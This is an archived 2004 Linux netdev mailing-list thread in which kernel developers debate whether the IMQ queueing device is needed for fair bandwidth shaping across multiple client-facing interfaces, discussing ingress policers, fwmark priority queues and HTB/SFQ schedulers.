<1075086588.1732.221.camel@jzny.localdomain> <20040126093230.GA17811@usr.lcm.msu.ru> <1075124312.1732.292.camel@jzny.localdomain> <20040126135545.GA19497@usr.lcm.msu.ru> <20040126152409.GA10053@louise.pinerecords.com> <1075173275.1039.53.camel@jzny.localdomain> <20040127115917.GA19166@louise.pinerecords.com> Content-Type: text/plain Organization: jamalopolis Message-Id: <1075568550.1032.13.camel@jzny.localdomain> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.2.2 Date: 31 Jan 2004 12:02:30 -0500 Content-Transfer-Encoding: 7bit X-archive-position: 2913 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: hadi@cyberus.ca Precedence: bulk X-list: netdev Hi Tomas, Sorry - didnt mean to keep you hanging this long. Work comes first then fun stuff like this. On Tue, 2004-01-27 at 06:59, Tomas Szepe wrote: > On Jan-26 2004, Mon, 22:14 -0500 > jamal wrote: [..] > Thanks for your reply, Jamal. Unfortunately, we don't really understand > your example. Please see below. > How about we take this offline. I help you and you document it so other people understand it? > What's the mechanism for matching the IPs? We need to insert > thousands of these rules and shape constant 20+ Mbit flow of > traffic. If it doesn't use a hash or similar, we're back to > where we started. Its the u32 classifier which is more sophisticated than the standard iptables one. It does go into a tree of hashes. If you are unhappy with it, it is trivial to add your own classifier as well. [..] > > Would you know of any real documentation on tc/ingress that > we could use to deconstruct this example and understand it? > Lets take it offline - there is no docs really. In particular this feature i am talking about is not documented anywhere. Unfortunately what that means is people reinvent it every summer. IMQ being one of those inventions. I would like to also satisfy Vladmirs requirement of delaying packets instead of policing them. cheers, jamal From master@tentacle.sectorb.msk.ru Sat Jan 31 10:52:35 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 31 Jan 2004 10:52:38 -0800 (PST) Received: from thong.s2s.msu.ru (postfix@thong.s2s.msu.ru [193.232.119.74]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0VIqX7J017056 for ; Sat, 31 Jan 2004 10:52:34 -0800 Received: from tentacle.sectorb.msk.ru (tentacle.s2s.msu.ru [193.232.119.109]) by thong.s2s.msu.ru (Postfix) with ESMTP id 08A1486FE; Sat, 31 Jan 2004 21:52:32 +0300 (MSK) Received: by tentacle.sectorb.msk.ru (Postfix, from userid 10001) id 2B6E51453; Sat, 31 Jan 2004 21:52:31 +0300 (MSK) Date: Sat, 31 Jan 2004 21:52:31 +0300 From: "Vladimir B. Savkin" To: jamal Cc: netdev@oss.sgi.com Subject: Re: [RFC/PATCH] IMQ port to 2.6 Message-ID: <20040131185231.GA2608@usr.lcm.msu.ru> References: <20040125164431.GA31548@louise.pinerecords.com> <1075058539.1747.92.camel@jzny.localdomain> <20040125202148.GA10599@usr.lcm.msu.ru> <1075074316.1747.115.camel@jzny.localdomain> <20040126001102.GA12303@usr.lcm.msu.ru> <1075086588.1732.221.camel@jzny.localdomain> <20040126093230.GA17811@usr.lcm.msu.ru> <1075124312.1732.292.camel@jzny.localdomain> <20040126135545.GA19497@usr.lcm.msu.ru> <1075127396.1746.370.camel@jzny.localdomain> Mime-Version: 1.0 Content-Type: text/plain; charset=koi8-r Content-Disposition: inline In-Reply-To: <1075127396.1746.370.camel@jzny.localdomain> X-Organization: Moscow State Univ., Dept. of Mechanics and Mathematics X-Operating-System: Linux 2.4.24 User-Agent: Mutt/1.5.4i X-archive-position: 2914 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: master@sectorb.msk.ru Precedence: bulk X-list: netdev Jamal, I think you did not understand the role of IMQ in my setup. Here is my diagram: > > > > +---------+ +-ppp0- ... - client0 > > | +-eth1-<+-ppp1- ... - client1 > > Internet ----- eth0-+ router | . . . . . . . . > > | +-eth2-< . . . . . . > > +---------+ +-pppN- ... - clientN > > > > Please notice this: > > Traffic flows from internet to clients. This means from _left_ to _right_ :) And here is what you suggest: > So why cant you attach a ingress qdisc on eth1-2 and use policing to > mark excess traffic (not drop)? On eth0 all you do is based on the mark > you stash them on a different class i.e move the stuff you have on > IMQ0 to eth0. > But in my case, eth0 is an ingress device, and eth1 and eth2 are (physical) egress devices. For traffic going other direction (from right to left) I could do without IMQ, as you suggest. But on the right side of a diagram we can see no single device (physical or virtual) we can attach qdisc to, hence the need for IMQ. > Example on ingress: > > meter1=" police index 1 rate $CIR1" > meter1a=" police index 2 rate $PIR1" > > index 2 is shared by all flows for default. > index 1 (and others) is guaranteeing rate (20Kbps) for each of the flows > etc. > Look for example at examples/Edge32-ca-u32 > > The most important thing to know is that policers can be shared across > devices, flows etc using the "index" operator. > Ok, this looks like typical diffserv setup, as they described in RFCs. It doesn't assure fair bandwith sharing between active clients. We just can't decide what traffic is excess using some predetermined rate, we must look for current rates of other clients and penalize those who use unfair shares. Such meters and policers could exist but I don't know any. wrr and htb can do it, but they use queuing and round-robin to achive fairness, not meters and policers. ~ :wq With best regards, Vladimir Savkin. From hadi@cyberus.ca Sat Jan 31 12:27:31 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 31 Jan 2004 12:27:37 -0800 (PST) Received: from mail.cyberus.ca (mail.cyberus.ca [209.197.145.21]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0VKRU7J025111 for ; Sat, 31 Jan 2004 12:27:31 -0800 Received: from cpe0030ab124d2f-cm014500000962.cpe.net.cable.rogers.com ([24.103.99.32] helo=[10.0.0.21]) by mail.cyberus.ca with esmtp (Exim 4.20) id 1An1i8-0004ST-7W; Sat, 31 Jan 2004 15:27:24 -0500 Subject: Re: [RFC/PATCH] IMQ port to 2.6 From: jamal Reply-To: hadi@cyberus.ca To: "Vladimir B. Savkin" Cc: netdev@oss.sgi.com In-Reply-To: <20040131185231.GA2608@usr.lcm.msu.ru> References: <20040125164431.GA31548@louise.pinerecords.com> <1075058539.1747.92.camel@jzny.localdomain> <20040125202148.GA10599@usr.lcm.msu.ru> <1075074316.1747.115.camel@jzny.localdomain> <20040126001102.GA12303@usr.lcm.msu.ru> <1075086588.1732.221.camel@jzny.localdomain> <20040126093230.GA17811@usr.lcm.msu.ru> <1075124312.1732.292.camel@jzny.localdomain> <20040126135545.GA19497@usr.lcm.msu.ru> <1075127396.1746.370.camel@jzny.localdomain> <20040131185231.GA2608@usr.lcm.msu.ru> Content-Type: text/plain Organization: jamalopolis Message-Id: <1075580812.1035.83.camel@jzny.localdomain> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.2.2 Date: 31 Jan 2004 15:26:53 -0500 Content-Transfer-Encoding: 7bit X-archive-position: 2915 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: hadi@cyberus.ca Precedence: bulk X-list: netdev Hello Vladimir, On Sat, 2004-01-31 at 13:52, Vladimir B. Savkin wrote: > Jamal, I think you did not understand the role of IMQ in my setup. > [..] > > > > > > +---------+ +-ppp0- ... - client0 > > > | +-eth1-<+-ppp1- ... - client1 > > > Internet ----- eth0-+ router | . . . . . . . . > > > | +-eth2-< . . . . . . > > > +---------+ +-pppN- ... - clientN > And here is what you suggest: > > So why cant you attach a ingress qdisc on eth1-2 and use policing to > > mark excess traffic (not drop)? On eth0 all you do is based on the mark > > you stash them on a different class i.e move the stuff you have on > > IMQ0 to eth0. > > But in my case, eth0 is an ingress device, and eth1 and eth2 are > (physical) egress devices. You are correct to say i misundertood because i only covered only one direction. Lets cover both cases now. I am going to try to be verbose. Lets take something like an ftp/http download as an example and hopefuly I can grasp your requirements if i am wrong. Case1: bulk transfer going right->left In this case you want to restrict how much client0..N can send to the internet. There are two ways to do it, the first one as you say below: > For traffic going other direction (from right to left) I could do > without IMQ, as you suggest. i.e based on client0..N you attach some rules on eth0. The second scheme is what i was saying in my email to Tomas - it is achievable via the ingress qdisc on both eth1 and eth2 and egress root prio qdisc on eth0. A diagram would help to show how the policing is done: ^ | | +--------- MAX available internet bandwidth for all clients | ^ | Area B | +--------- MAX available internet b/width for each of eth1/2 | ^ | Area A | +----------MAX guaranteed bandwith available to client for internet | +---------- 0 b/width Not sure if this diagram is clear or not - theres a gauge of bandwith going up vertically. The maximum is whatever bwidth you have on the internet side. Each client is given a guaranteed (long time) bandwidth. This is labelled "MAX guaranteed bandwith available to client for internet". What you do is fwmark the packet if it doesnt exceed its fair bandwith share - lets say mark 1. If this is exceeded then the client is in "Area A" of the gauge above. Everything in Area A is what a combination of all clients on each device (eth1 for example) can use. If a client reaches this area you mark them with 2. If this is exceeded then the client is in area B. In this case, you mark the client with a 3. If they exceed "MAX available internet bandwidth for all clients" then no point in sending them on their way to eth0, just drop them On eth0 side, all you need to do really is put the different marks (using fwmark classifier) on different priority queues (use simple prio qdisc nothing more). prioritiwise: mark 1 > mark 2 > mark 3. i.e as long as you have mark 1 packets send only those to the internet. If there are no more on mark 1 queue send mark 2. If no more of those send prio 3. Eventually some of these queues will be overflowing for clients which are greedy. Note that Areas A and B are shared between many clients and is here to serve as an example just to show how you can do the following: a) a client gets a fair share i.e Guaranteed rate in a long period of time. b) many clients coming from one device like eth1 share some excess bandwidth allocated for eth1 if it is available. c) Many clients share bandwidth allocated for the system (i.e fre-for-all for eth1 and eth2). What i dont show is case d) which Tomas asked for. Allocated bandwidth shared for a client to be used for both outgoing (to internet) and incoming (from internet) i.e if clients incoming+outgoing bandwidth exceeds its allocated rate, then it enters Area A etc. I pointed out (in my email to Tomas) that because policers can be given explicit IDs (operator "index") this is doable. > But on the right side of a diagram we can see no single device > (physical or virtual) we can attach qdisc to, hence the need for IMQ. > Ok, so lets take a look at case 2 which is right <- left i.e clients downloading from the internet. Repeat what i described as method 2 above with ingress qdisc at eth0 and egress on eth1 and eth2. The nice thing about the policer is the ability to share bandwidth between devices and flows regardless of direction. > > The most important thing to know is that policers can be shared across > > devices, flows etc using the "index" operator. > > > > Ok, this looks like typical diffserv setup, as they described in RFCs. > It doesn't assure fair bandwith sharing between active clients. > > We just can't decide what traffic is excess using some predetermined > rate, we must look for current rates of other clients and penalize those > who use unfair shares. Such meters and policers could exist but I don't > know any. > wrr and htb can do it, but they use queuing and round-robin > to achive fairness, not meters and policers. > Look at what i said above. A simple priority scheduler is sufficient no need for WRR or HTB. cheers, jamal From master@tentacle.sectorb.msk.ru Sat Jan 31 12:53:31 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 31 Jan 2004 12:53:34 -0800 (PST) Received: from thong.s2s.msu.ru (postfix@thong.s2s.msu.ru [193.232.119.74]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0VKrS7J025966 for ; Sat, 31 Jan 2004 12:53:29 -0800 Received: from tentacle.sectorb.msk.ru (tentacle.s2s.msu.ru [193.232.119.109]) by thong.s2s.msu.ru (Postfix) with ESMTP id BF92A87A9; Sat, 31 Jan 2004 23:53:27 +0300 (MSK) Received: by tentacle.sectorb.msk.ru (Postfix, from userid 10001) id 0C8D3147F; Sat, 31 Jan 2004 23:53:27 +0300 (MSK) Date: Sat, 31 Jan 2004 23:53:26 +0300 From: "Vladimir B. Savkin" To: jamal Cc: netdev@oss.sgi.com Subject: Re: [RFC/PATCH] IMQ port to 2.6 Message-ID: <20040131205326.GA3089@usr.lcm.msu.ru> References: <20040125202148.GA10599@usr.lcm.msu.ru> <1075074316.1747.115.camel@jzny.localdomain> <20040126001102.GA12303@usr.lcm.msu.ru> <1075086588.1732.221.camel@jzny.localdomain> <20040126093230.GA17811@usr.lcm.msu.ru> <1075124312.1732.292.camel@jzny.localdomain> <20040126135545.GA19497@usr.lcm.msu.ru> <1075127396.1746.370.camel@jzny.localdomain> <20040131185231.GA2608@usr.lcm.msu.ru> <1075580812.1035.83.camel@jzny.localdomain> Mime-Version: 1.0 Content-Type: text/plain; charset=koi8-r Content-Disposition: inline In-Reply-To: <1075580812.1035.83.camel@jzny.localdomain> X-Organization: Moscow State Univ., Dept. of Mechanics and Mathematics X-Operating-System: Linux 2.4.24 User-Agent: Mutt/1.5.4i X-archive-position: 2916 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: master@sectorb.msk.ru Precedence: bulk X-list: netdev On Sat, Jan 31, 2004 at 03:26:53PM -0500, jamal wrote: > Hello Vladimir, > > On Sat, 2004-01-31 at 13:52, Vladimir B. Savkin wrote: > > Jamal, I think you did not understand the role of IMQ in my setup. > > > [..] > > > > > > > > +---------+ +-ppp0- ... - client0 > > > > | +-eth1-<+-ppp1- ... - client1 > > > > Internet ----- eth0-+ router | . . . . . . . . > > > > | +-eth2-< . . . . . . > > > > +---------+ +-pppN- ... - clientN > > > And here is what you suggest: > > > > So why cant you attach a ingress qdisc on eth1-2 and use policing to > > > mark excess traffic (not drop)? On eth0 all you do is based on the mark > > > you stash them on a different class i.e move the stuff you have on > > > IMQ0 to eth0. > > > > But in my case, eth0 is an ingress device, and eth1 and eth2 are > > (physical) egress devices. > > You are correct to say i misundertood because i only covered only one > direction. Lets cover both cases now. I am going to try to be verbose. > > Lets take something like an ftp/http download as an example and hopefuly > I can grasp your requirements if i am wrong. > > Case1: bulk transfer going right->left > > In this case you want to restrict how much client0..N can send to the > internet. There are two ways to do it, the first one as you say below: > > > For traffic going other direction (from right to left) I could do > > without IMQ, as you suggest. > > i.e based on client0..N you attach some rules on eth0. > > The second scheme is what i was saying in my email to Tomas - it is > achievable via the ingress qdisc on both eth1 and eth2 and egress root > prio qdisc on eth0. A diagram would help to show how the policing is > done: > > > ^ > | > | > +--------- MAX available internet bandwidth for all clients > | > ^ > | Area B > | > +--------- MAX available internet b/width for each of eth1/2 > | > ^ > | Area A > | > +----------MAX guaranteed bandwith available to client for internet > | > +---------- 0 b/width > > > Not sure if this diagram is clear or not - theres a gauge of bandwith > going up vertically. The maximum is whatever bwidth you have on the > internet side. > Each client is given a guaranteed (long time) bandwidth. This is > labelled "MAX guaranteed bandwith available to client for internet". > What you do is fwmark the packet if it doesnt exceed its fair bandwith > share - lets say mark 1. > If this is exceeded then the client is in "Area A" of the gauge above. > Everything in Area A is what a combination of all clients on each device > (eth1 for example) can use. If a client reaches this area you mark them > with 2. > If this is exceeded then the client is in area B. In this case, you mark > the client with a 3. > If they exceed "MAX available internet bandwidth for all clients" > then no point in sending them on their way to eth0, just drop them > > On eth0 side, all you need to do really is put the different marks > (using fwmark classifier) on different priority queues (use simple prio > qdisc nothing more). > prioritiwise: mark 1 > mark 2 > mark 3. > i.e as long as you have mark 1 packets send only those to the internet. > If there are no more on mark 1 queue send mark 2. If no more of those > send prio 3. > Eventually some of these queues will be overflowing for clients which > are greedy. > > Note that Areas A and B are shared between many clients and is here to > serve as an example just to show how you can do the following: > a) a client gets a fair share i.e Guaranteed rate in a long period of > time. No, that's not what I mean by fairness! No problem to give everyone their guaranteed rate. > b) many clients coming from one device like eth1 share some excess > bandwidth allocated for eth1 if it is available. > c) Many clients share bandwidth allocated for the system (i.e > fre-for-all for eth1 and eth2). Yes, they will share it. But in what proportion? Your proposal does not guarantee anything about this. And I want client to share excess bandwidth fairly. That's what round-robin schemes can give. With your solution, if every client open some number of TCP connections to download files, bandwidth will be divided between clients in proportion to number of connections, since every connection will be in equal conditions. That's exactly what I am to prevent. > Ok, so lets take a look at case 2 which is right <- left > i.e clients downloading from the internet. > Repeat what i described as method 2 above with ingress qdisc at eth0 > and egress on eth1 and eth2. There is no way for internet traffic to saturate fast ethernet link, since uplink is only few megabits/sec. So, egress queue will always be empty, priorities will have no effect whatsoever, and packets will be neither dropped nor delayed. See, my bandwidth limit is artificial and defined by political reasons. And that's the only restriction that is defined, and the goal is the maximal fairness. Minimal guaranteed rate for each client is not enough. With your proposal, there's just no place to put this aggregate restriction, except a policer, which doesn't give fairness. > > The nice thing about the policer is the ability to share bandwidth > between devices and flows regardless of direction. > > > > > The most important thing to know is that policers can be shared across > > > devices, flows etc using the "index" operator. > > > > > > > Ok, this looks like typical diffserv setup, as they described in RFCs. > > It doesn't assure fair bandwith sharing between active clients. > > > > We just can't decide what traffic is excess using some predetermined > > rate, we must look for current rates of other clients and penalize those > > who use unfair shares. Such meters and policers could exist but I don't > > know any. > > wrr and htb can do it, but they use queuing and round-robin > > to achive fairness, not meters and policers. > > > > Look at what i said above. A simple priority scheduler is sufficient no > need for WRR or HTB. No, it's not, as described above. ~ :wq With best regards, Vladimir Savkin. From hadi@cyberus.ca Sat Jan 31 13:26:02 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 31 Jan 2004 13:26:06 -0800 (PST) Received: from mail.cyberus.ca (mail.cyberus.ca [209.197.145.21]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0VLQ17J027088 for ; Sat, 31 Jan 2004 13:26:02 -0800 Received: from cpe0030ab124d2f-cm014500000962.cpe.net.cable.rogers.com ([24.103.99.32] helo=[10.0.0.21]) by mail.cyberus.ca with esmtp (Exim 4.20) id 1An2ci-0005At-Qd; Sat, 31 Jan 2004 16:25:53 -0500 Subject: Re: [RFC/PATCH] IMQ port to 2.6 From: jamal Reply-To: hadi@cyberus.ca To: "Vladimir B. Savkin" Cc: netdev@oss.sgi.com In-Reply-To: <20040131205326.GA3089@usr.lcm.msu.ru> References: <20040125202148.GA10599@usr.lcm.msu.ru> <1075074316.1747.115.camel@jzny.localdomain> <20040126001102.GA12303@usr.lcm.msu.ru> <1075086588.1732.221.camel@jzny.localdomain> <20040126093230.GA17811@usr.lcm.msu.ru> <1075124312.1732.292.camel@jzny.localdomain> <20040126135545.GA19497@usr.lcm.msu.ru> <1075127396.1746.370.camel@jzny.localdomain> <20040131185231.GA2608@usr.lcm.msu.ru> <1075580812.1035.83.camel@jzny.localdomain> <20040131205326.GA3089@usr.lcm.msu.ru> Content-Type: text/plain Organization: jamalopolis Message-Id: <1075584318.1033.159.camel@jzny.localdomain> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.2.2 Date: 31 Jan 2004 16:25:18 -0500 Content-Transfer-Encoding: 7bit X-archive-position: 2917 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: hadi@cyberus.ca Precedence: bulk X-list: netdev On Sat, 2004-01-31 at 15:53, Vladimir B. Savkin wrote: > On Sat, Jan 31, 2004 at 03:26:53PM -0500, jamal wrote: [..] > > Note that Areas A and B are shared between many clients and is here to > > serve as an example just to show how you can do the following: > > a) a client gets a fair share i.e Guaranteed rate in a long period of > > time. > > No, that's not what I mean by fairness! > No problem to give everyone their guaranteed rate. > > > b) many clients coming from one device like eth1 share some excess > > bandwidth allocated for eth1 if it is available. > > c) Many clients share bandwidth allocated for the system (i.e > > fre-for-all for eth1 and eth2). > > Yes, they will share it. But in what proportion? Excess b/width is shared in FIFO mode in what i described whoever comes first grabs whats excess. Thanks for clarifying this point. [..] > With your solution, if every client open some number of TCP connections [..] > See, my bandwidth limit is artificial and defined by political reasons. > And that's the only restriction that is defined, and the goal > is the maximal fairness. Minimal guaranteed rate for each client is > not enough. > With your proposal, there's just no place to put this aggregate > restriction, except a policer, which doesn't give fairness. > Ok, i think i have understood you finally;-> The challenge is in this one direction whose characteristics can be described as follows: a) Incoming pipe (from internet) is smaller than outgoing pipe (to clients). b) Desire is to have excess bwidth with max fairness to all flows instead of free-for-all scheme. [This can only be achieved by a non-work conserving scheduler]. Is the above correct? cheers, jamal From master@tentacle.sectorb.msk.ru Sat Jan 31 13:32:40 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 31 Jan 2004 13:32:43 -0800 (PST) Received: from thong.s2s.msu.ru (postfix@thong.s2s.msu.ru [193.232.119.74]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0VLWc7J027577 for ; Sat, 31 Jan 2004 13:32:39 -0800 Received: from tentacle.sectorb.msk.ru (tentacle.s2s.msu.ru [193.232.119.109]) by thong.s2s.msu.ru (Postfix) with ESMTP id BE5D9872F; Sun, 1 Feb 2004 00:32:37 +0300 (MSK) Received: by tentacle.sectorb.msk.ru (Postfix, from userid 10001) id 14AD21995; Sun, 1 Feb 2004 00:32:37 +0300 (MSK) Date: Sun, 1 Feb 2004 00:32:37 +0300 From: "Vladimir B. Savkin" To: jamal Cc: netdev@oss.sgi.com Subject: Re: [RFC/PATCH] IMQ port to 2.6 Message-ID: <20040131213236.GA3451@usr.lcm.msu.ru> References: <20040126001102.GA12303@usr.lcm.msu.ru> <1075086588.1732.221.camel@jzny.localdomain> <20040126093230.GA17811@usr.lcm.msu.ru> <1075124312.1732.292.camel@jzny.localdomain> <20040126135545.GA19497@usr.lcm.msu.ru> <1075127396.1746.370.camel@jzny.localdomain> <20040131185231.GA2608@usr.lcm.msu.ru> <1075580812.1035.83.camel@jzny.localdomain> <20040131205326.GA3089@usr.lcm.msu.ru> <1075584318.1033.159.camel@jzny.localdomain> Mime-Version: 1.0 Content-Type: text/plain; charset=koi8-r Content-Disposition: inline In-Reply-To: <1075584318.1033.159.camel@jzny.localdomain> X-Organization: Moscow State Univ., Dept. of Mechanics and Mathematics X-Operating-System: Linux 2.4.24 User-Agent: Mutt/1.5.4i X-archive-position: 2918 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: master@sectorb.msk.ru Precedence: bulk X-list: netdev > Ok, i think i have understood you finally;-> > The challenge is in this one direction whose characteristics can be > described as follows: In other direction, the goal is the same, but IMQ is not needed, since there is only one Internet link. > a) Incoming pipe (from internet) is smaller than outgoing pipe (to > clients). Yes, and artificial limit is even smaller. > b) Desire is to have excess bwidth with max fairness to all flows > instead of free-for-all scheme. Yes, if you define "flow" as all traffic to one client. Actually, I use two-level hierarchy: in every flow in above sense each micro-flow receives a fair amount of bandwidth (approximatly, using sfq). > [This can only be achieved by a non-work conserving scheduler]. Yes. > > Is the above correct? > It seems so :) ~ :wq With best regards, Vladimir Savkin. From hadi@cyberus.ca Sat Jan 31 14:27:14 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 31 Jan 2004 14:27:22 -0800 (PST) Received: from mail.cyberus.ca (mail.cyberus.ca [209.197.145.21]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0VMRD7J029557 for ; Sat, 31 Jan 2004 14:27:14 -0800 Received: from cpe0030ab124d2f-cm014500000962.cpe.net.cable.rogers.com ([24.103.99.32] helo=[10.0.0.21]) by mail.cyberus.ca with esmtp (Exim 4.20) id 1An3Zz-0003xb-Mb; Sat, 31 Jan 2004 17:27:07 -0500 Subject: Re: [RFC/PATCH] IMQ port to 2.6 From: jamal Reply-To: hadi@cyberus.ca To: "Vladimir B. Savkin" Cc: netdev@oss.sgi.com In-Reply-To: <20040131215821.GA3615@usr.lcm.msu.ru> References: <20040126093230.GA17811@usr.lcm.msu.ru> <1075124312.1732.292.camel@jzny.localdomain> <20040126135545.GA19497@usr.lcm.msu.ru> <1075127396.1746.370.camel@jzny.localdomain> <20040131185231.GA2608@usr.lcm.msu.ru> <1075580812.1035.83.camel@jzny.localdomain> <20040131205326.GA3089@usr.lcm.msu.ru> <1075584318.1033.159.camel@jzny.localdomain> <20040131213236.GA3451@usr.lcm.msu.ru> <1075585764.1035.192.camel@jzny.localdomain> <20040131215821.GA3615@usr.lcm.msu.ru> Content-Type: text/plain Organization: jamalopolis Message-Id: <1075587994.1036.231.camel@jzny.localdomain> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.2.2 Date: 31 Jan 2004 17:26:34 -0500 Content-Transfer-Encoding: 7bit X-archive-position: 2919 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: hadi@cyberus.ca Precedence: bulk X-list: netdev On Sat, 2004-01-31 at 16:58, Vladimir B. Savkin wrote: > Well, not, the primary reason being that there would be no single class > with appropriate bandwith limit (ceil). There would be multiple classes, Ok - i think you made your point. So i should add that a third condition is there are multiple devices towards the clients. You have convinced me there is value in such a scheme as IMQ provides for such conditions. As it is right now though IMQ needs to have the right abstraction (and not be dependent on netfilter).And may be we could abuse it to do other things. Let me hear from Tomas and then we should take it from there. cheers, jamal From master@tentacle.sectorb.msk.ru Sat Jan 31 14:33:49 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 31 Jan 2004 14:33:59 -0800 (PST) Received: from thong.s2s.msu.ru (postfix@thong.s2s.msu.ru [193.232.119.74]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0VMXc7J030036 for ; Sat, 31 Jan 2004 14:33:39 -0800 Received: from tentacle.sectorb.msk.ru (tentacle.s2s.msu.ru [193.232.119.109]) by thong.s2s.msu.ru (Postfix) with ESMTP id 304C484E6; Sun, 1 Feb 2004 00:58:22 +0300 (MSK) Received: by tentacle.sectorb.msk.ru (Postfix, from userid 10001) id 71D381E9B; Sun, 1 Feb 2004 00:58:21 +0300 (MSK) Date: Sun, 1 Feb 2004 00:58:21 +0300 From: "Vladimir B. Savkin" To: jamal Cc: netdev@oss.sgi.com Subject: Re: [RFC/PATCH] IMQ port to 2.6 Message-ID: <20040131215821.GA3615@usr.lcm.msu.ru> References: <20040126093230.GA17811@usr.lcm.msu.ru> <1075124312.1732.292.camel@jzny.localdomain> <20040126135545.GA19497@usr.lcm.msu.ru> <1075127396.1746.370.camel@jzny.localdomain> <20040131185231.GA2608@usr.lcm.msu.ru> <1075580812.1035.83.camel@jzny.localdomain> <20040131205326.GA3089@usr.lcm.msu.ru> <1075584318.1033.159.camel@jzny.localdomain> <20040131213236.GA3451@usr.lcm.msu.ru> <1075585764.1035.192.camel@jzny.localdomain> Mime-Version: 1.0 Content-Type: text/plain; charset=koi8-r Content-Disposition: inline In-Reply-To: <1075585764.1035.192.camel@jzny.localdomain> X-Organization: Moscow State Univ., Dept. of Mechanics and Mathematics X-Operating-System: Linux 2.4.24 User-Agent: Mutt/1.5.4i X-archive-position: 2920 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: master@sectorb.msk.ru Precedence: bulk X-list: netdev On Sat, Jan 31, 2004 at 04:49:24PM -0500, jamal wrote: > Still a few rough edges, so bear with me: > Would you not be able to achieve the same if you used the marking scheme > i described earlier on eth0 and used HTB or HFSC or CBQ (as non-work > conserving) on eth1/2? I was suggesting prio before and you pointed you > the queues will never be full for that to have any value. > Well, not, the primary reason being that there would be no single class with appropriate bandwith limit (ceil). There would be multiple classes, one for each egress interface, and actual upper limit would be the sum of bandwidths of every class. I would have to limit every class to some part of the aggregate limit, and it would have been enforced, even if other classes are not using their shares. So, no fairness. ~ :wq With best regards, Vladimir Savkin. From hadi@cyberus.ca Sat Jan 31 14:51:39 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 31 Jan 2004 14:51:51 -0800 (PST) Received: from mail.cyberus.ca (mail.cyberus.ca [209.197.145.21]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0VMpc7J030834 for ; Sat, 31 Jan 2004 14:51:39 -0800 Received: from cpe0030ab124d2f-cm014500000962.cpe.net.cable.rogers.com ([24.103.99.32] helo=[10.0.0.21]) by mail.cyberus.ca with esmtp (Exim 4.20) id 1An303-00085p-VD; Sat, 31 Jan 2004 16:50:00 -0500 Subject: Re: [RFC/PATCH] IMQ port to 2.6 From: jamal Reply-To: hadi@cyberus.ca To: "Vladimir B. Savkin" Cc: netdev@oss.sgi.com In-Reply-To: <20040131213236.GA3451@usr.lcm.msu.ru> References: <20040126001102.GA12303@usr.lcm.msu.ru> <1075086588.1732.221.camel@jzny.localdomain> <20040126093230.GA17811@usr.lcm.msu.ru> <1075124312.1732.292.camel@jzny.localdomain> <20040126135545.GA19497@usr.lcm.msu.ru> <1075127396.1746.370.camel@jzny.localdomain> <20040131185231.GA2608@usr.lcm.msu.ru> <1075580812.1035.83.camel@jzny.localdomain> <20040131205326.GA3089@usr.lcm.msu.ru> <1075584318.1033.159.camel@jzny.localdomain> <20040131213236.GA3451@usr.lcm.msu.ru> Content-Type: text/plain Organization: jamalopolis Message-Id: <1075585764.1035.192.camel@jzny.localdomain> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.2.2 Date: 31 Jan 2004 16:49:24 -0500 Content-Transfer-Encoding: 7bit X-archive-position: 2921 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: hadi@cyberus.ca Precedence: bulk X-list: netdev On Sat, 2004-01-31 at 16:32, Vladimir B. Savkin wrote: > Yes, if you define "flow" as all traffic to one client. > > Actually, I use two-level hierarchy: in every flow in above sense > each micro-flow receives a fair amount of bandwidth (approximatly, > using sfq). Ok. > > [This can only be achieved by a non-work conserving scheduler]. > > Yes. Still a few rough edges, so bear with me: Would you not be able to achieve the same if you used the marking scheme i described earlier on eth0 and used HTB or HFSC or CBQ (as non-work conserving) on eth1/2? I was suggesting prio before and you pointed you the queues will never be full for that to have any value. cheers, jamal From hugh@mimosa.com Sat Jan 31 14:59:20 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 31 Jan 2004 14:59:26 -0800 (PST) Received: from gw-d.mimosa.com (gw-d.mimosa.com [216.126.78.97]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0VMxJ7J031340 for ; Sat, 31 Jan 2004 14:59:19 -0800 Received: from redshift.mimosa.com (redshift.mimosa.com [192.139.70.107]) by gw-d.mimosa.com (8.12.8/8.12.8) with ESMTP id i0VMvskd006801 for ; Sat, 31 Jan 2004 17:57:55 -0500 Date: Sat, 31 Jan 2004 17:58:43 -0500 (EST) From: 